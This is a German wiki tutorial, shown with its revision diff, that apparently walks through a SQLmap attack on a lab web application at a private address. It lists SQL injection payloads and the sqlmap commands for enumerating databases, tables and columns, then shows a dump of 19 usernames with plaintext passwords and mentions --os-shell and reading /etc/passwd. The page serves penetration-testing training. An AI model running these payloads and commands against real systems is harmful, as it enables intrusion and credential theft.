SQLmap Workflow: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(7 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 19: Zeile 19:
 
! Parameter !! Technik !! Beschreibung !! Beispiel-Payload
 
! Parameter !! Technik !! Beschreibung !! Beispiel-Payload
 
|-
 
|-
| username (POST) || Boolean-based blind || Antwort ändert sich abhängig von TRUE/FALSE || '''username=test' RLIKE (SELECT (CASE WHEN (1=1) THEN 0x74657374 ELSE 0x28 END))--'''
+
| username (POST) || Boolean-based blind || Antwort ändert sich abhängig von TRUE/FALSE || username=test' RLIKE (SELECT (CASE WHEN (1=1) THEN 0x74657374 ELSE 0x28 END))--
 
|-
 
|-
| username (POST) || Error-based || Erzwingt DB-Fehler und leakt Infos || '''username=test' AND (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.plugins GROUP BY x)'''
+
| username (POST) || Error-based || Erzwingt DB-Fehler und leakt Infos || username=test' AND (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.plugins GROUP BY x)
 
|-
 
|-
| username (POST) || Time-based blind || Antwortzeit verzögert durch SLEEP() || '''username=test' AND (SELECT SLEEP(5))--'''
+
| username (POST) || Time-based blind || Antwortzeit verzögert durch SLEEP() || username=test' AND (SELECT SLEEP(5))--
 
|}
 
|}
  
== 2. Version und Banner auslesen ==
+
== Version und Banner auslesen ==
 
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --banner'''
 
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --banner'''
 
* Erkenntnis: Exakte Version des Datenbanksystems wird angezeigt.
 
* Erkenntnis: Exakte Version des Datenbanksystems wird angezeigt.
  
== 3. Datenbanken auflisten ==
+
== Datenbanken auflisten ==
 
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --dbs'''
 
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --dbs'''
* Erkenntnis: Übersicht aller vorhandenen Datenbanken (z. B. '''verwaltung''', '''information_schema''').
+
* Erkenntnis: Es wurden zwei Datenbanken gefunden: '''information_schema''' und '''tuxmen'''.
 +
* Bewertung: '''information_schema''' ist eine Systemdatenbank. Fokus liegt auf '''tuxmen'''.
  
== 4. Tabellen in einer Datenbank auflisten ==
+
== Tabellen in der Datenbank 'tuxmen' auflisten ==
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D verwaltung --tables'''
+
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen --tables'''
* Erkenntnis: Tabellenstruktur sichtbar, z. B. Tabelle '''my_auth'''.
+
=== Erkenntnisblock ===
 +
<pre>
 +
Database: tuxmen
 +
[1 table]
 +
+-------------+
 +
| mitarbeiter |
 +
+-------------+
 +
</pre>
 +
* Erkenntnis: Die Datenbank '''tuxmen''' enthält die Tabelle '''mitarbeiter'''.
 +
* Schlussfolgerung: Diese Tabelle ist für die Exfiltration interessant und wird im nächsten Schritt weiter untersucht.
  
== 5. Spalten in einer Tabelle auflisten ==
+
== Spalten in der Tabelle 'mitarbeiter' auflisten ==
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D verwaltung -T my_auth --columns'''
+
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter --columns'''
* Erkenntnis: Spaltennamen sichtbar, z. B. '''user''', '''pass'''.
+
=== Erkenntnisblock ===
 +
<pre>
 +
Database: tuxmen
 +
Table: mitarbeiter
 +
[4 columns]
 +
+----------+--------------+
 +
| Column  | Type        |
 +
+----------+--------------+
 +
| fullname | varchar(128) |
 +
| id      | int(11)      |
 +
| password | varchar(128) |
 +
| username | varchar(64)  |
 +
+----------+--------------+
 +
</pre>
 +
* Erkenntnis: Die Tabelle '''mitarbeiter''' enthält die Spalten '''id''', '''username''', '''password''' und '''fullname'''.
 +
* Schlussfolgerung: Besonders interessant für die Exfiltration sind die Spalten '''username''' und '''password'''.
  
== 6. Daten exfiltrieren ==
+
== Daten exfiltrieren ==
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D verwaltung -T my_auth -C user,pass --dump'''
+
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter -C username,password --dump'''
* Erkenntnis: Klaretextdaten der Benutzer (User/Passwort) liegen vor.
+
=== Erkenntnisblock ===
 +
<pre>
 +
Database: tuxmen
 +
Table: mitarbeiter
 +
[19 entries]
 +
+------------+-------------+
 +
| username  | password    |
 +
+------------+-------------+
 +
| hans      | 1234        |
 +
| ingo      | abc123      |
 +
| backupuser | B@ckup#2024 |
 +
| carla      | dragon      |
 +
| erwin      | geheim      |
 +
| petra      | Hallo123    |
 +
| steffi    | iloveyou    |
 +
| intern    | Int3rn!    |
 +
| mario      | letmein    |
 +
| thomas    | monkey      |
 +
| quba      | passw0rd    |
 +
| julia      | password1  |
 +
| alex      | qwerty      |
 +
| martina    | Sommer2024! |
 +
| service01  | Srv!cePass  |
 +
| sabine    | sunshine    |
 +
| sven      | test123    |
 +
| webapp    | Web@pp123  |
 +
| frank      | welcome    |
 +
+------------+-------------+
 +
</pre>
 +
* Erkenntnis: Über die SQL-Injection konnten Benutzerkonten samt Klartext-Passwörtern aus der Tabelle '''tuxmen.mitarbeiter''' exfiltriert werden.
 +
* Schlussfolgerung: Es liegen kritische Anmeldeinformationen im Klartext in der Datenbank vor. Diese können für weitere Angriffe (z. B. Web-Login, SSH, Pivoting) genutzt werden.
  
== 7. Optional: Weitere Möglichkeiten ==
+
== Optionale Möglichkeiten ==
 
* '''--os-shell''' → Versuch, Betriebssystembefehle auszuführen
 
* '''--os-shell''' → Versuch, Betriebssystembefehle auszuführen
 
* '''--file-read=/etc/passwd''' → Datei auf dem Server auslesen
 
* '''--file-read=/etc/passwd''' → Datei auf dem Server auslesen
Zeile 53: Zeile 108:
 
= Fazit =
 
= Fazit =
 
SQLmap liefert einen strukturierten Weg:  
 
SQLmap liefert einen strukturierten Weg:  
Von der Bestätigung der Schwachstelle über die Datenbank- und Tabellenstruktur bis zur Exfiltration der Daten.  
+
Von der Bestätigung der Schwachstelle über die Datenbankstruktur bis zur Exfiltration der Inhalte.  
 
Jeder Schritt bringt eine konkrete Erkenntnis und baut auf dem vorigen auf.
 
Jeder Schritt bringt eine konkrete Erkenntnis und baut auf dem vorigen auf.

Aktuelle Version vom 15. September 2025, 17:43 Uhr

SQLmap Workflow

Einleitung

SQLmap automatisiert die Ausnutzung von SQL-Injection-Schwachstellen. Der Ablauf erfolgt schrittweise: erst Bestätigung, dann systematische Informationsgewinnung.

Test auf Verwundbarkeit

Erkenntnisblock

[13:13:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62
back-end DBMS: MySQL >= 5.0 (MariaDB fork)

Gefundene Verwundbarkeiten

Parameter Technik Beschreibung Beispiel-Payload
username (POST) Boolean-based blind Antwort ändert sich abhängig von TRUE/FALSE username=test' RLIKE (SELECT (CASE WHEN (1=1) THEN 0x74657374 ELSE 0x28 END))--
username (POST) Error-based Erzwingt DB-Fehler und leakt Infos username=test' AND (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.plugins GROUP BY x)
username (POST) Time-based blind Antwortzeit verzögert durch SLEEP() username=test' AND (SELECT SLEEP(5))--

Version und Banner auslesen

Datenbanken auflisten

  • sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --dbs
  • Erkenntnis: Es wurden zwei Datenbanken gefunden: information_schema und tuxmen.
  • Bewertung: information_schema ist eine Systemdatenbank. Fokus liegt auf tuxmen.

Tabellen in der Datenbank 'tuxmen' auflisten

Erkenntnisblock

Database: tuxmen
[1 table]
+-------------+
| mitarbeiter |
+-------------+
  • Erkenntnis: Die Datenbank tuxmen enthält die Tabelle mitarbeiter.
  • Schlussfolgerung: Diese Tabelle ist für die Exfiltration interessant und wird im nächsten Schritt weiter untersucht.

Spalten in der Tabelle 'mitarbeiter' auflisten

Erkenntnisblock

Database: tuxmen
Table: mitarbeiter
[4 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| fullname | varchar(128) |
| id       | int(11)      |
| password | varchar(128) |
| username | varchar(64)  |
+----------+--------------+
  • Erkenntnis: Die Tabelle mitarbeiter enthält die Spalten id, username, password und fullname.
  • Schlussfolgerung: Besonders interessant für die Exfiltration sind die Spalten username und password.

Daten exfiltrieren

Erkenntnisblock

Database: tuxmen
Table: mitarbeiter
[19 entries]
+------------+-------------+
| username   | password    |
+------------+-------------+
| hans       | 1234        |
| ingo       | abc123      |
| backupuser | B@ckup#2024 |
| carla      | dragon      |
| erwin      | geheim      |
| petra      | Hallo123    |
| steffi     | iloveyou    |
| intern     | Int3rn!     |
| mario      | letmein     |
| thomas     | monkey      |
| quba       | passw0rd    |
| julia      | password1   |
| alex       | qwerty      |
| martina    | Sommer2024! |
| service01  | Srv!cePass  |
| sabine     | sunshine    |
| sven       | test123     |
| webapp     | Web@pp123   |
| frank      | welcome     |
+------------+-------------+
  • Erkenntnis: Über die SQL-Injection konnten Benutzerkonten samt Klartext-Passwörtern aus der Tabelle tuxmen.mitarbeiter exfiltriert werden.
  • Schlussfolgerung: Es liegen kritische Anmeldeinformationen im Klartext in der Datenbank vor. Diese können für weitere Angriffe (z. B. Web-Login, SSH, Pivoting) genutzt werden.

Optionale Möglichkeiten

  • --os-shell → Versuch, Betriebssystembefehle auszuführen
  • --file-read=/etc/passwd → Datei auf dem Server auslesen
  • Erkenntnis: Eskalation möglich, wenn DB-User ausreichende Rechte hat.

Fazit

SQLmap liefert einen strukturierten Weg: Von der Bestätigung der Schwachstelle über die Datenbankstruktur bis zur Exfiltration der Inhalte. Jeder Schritt bringt eine konkrete Erkenntnis und baut auf dem vorigen auf.